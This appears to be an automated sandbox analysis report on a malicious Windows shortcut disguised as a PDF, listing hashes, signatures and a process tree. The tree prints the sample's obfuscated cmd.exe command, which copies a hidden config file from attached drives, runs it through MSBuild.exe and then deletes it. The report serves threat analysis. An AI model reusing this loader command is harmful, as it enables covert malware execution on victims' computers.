Analysis

  • max time kernel
    299s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 17:05

General

  • Target
    Secure Document CA-759401.pdf.lnk
  • Size 2KB
  • Sample260709-vmarsses6m
  • SHA256 94d65bfd648a8c6ba9d05f48d89f11b0614128def305d881766397eed481a8cf
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Secure Document CA-759401.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:On /c set _vav=Microsoft.NET\&set _nlr=Framework64\v4.0&set _c=.30319\MSBuild.exe&set _s=/clp:ErrorsOnly &set _wsh=/nol&set _hn=ogo&@set "_d9="&(for %j in (S O D G P I E U R Q M Y F X Z L N T K V H J W) do @if exist "%j:\Microsoft Document Logs\nwboj.cfg" @copy /Y "%j:\Microsoft Document Logs\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul & @if exist "%j:\nwboj.cfg" @copy /Y "%j:\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul) & "C:\Windows\!_vav!!_nlr!!_c!" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" !_s!!_wsh!!_hn! >nul 2>nul & ERASE "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:748
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" /clp:ErrorsOnly /nologo
        3⤵
          PID:3976

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          memory/3976-0-0x00007FFCA30FF000-0x00007FFCA3100000-memory.dmp

          memory/3976-1-0x000001CB8CD00000-0x000001CB8CD3E000-memory.dmp

          memory/3976-2-0x000001CB8D1D0000-0x000001CB8D1EA000-memory.dmp

          memory/3976-3-0x000001CBA7460000-0x000001CBA75BA000-memory.dmp

          memory/3976-4-0x00007FFCA2F70000-0x00007FFCA3914000-memory.dmp

          memory/3976-5-0x00007FFCA2F70000-0x00007FFCA3914000-memory.dmp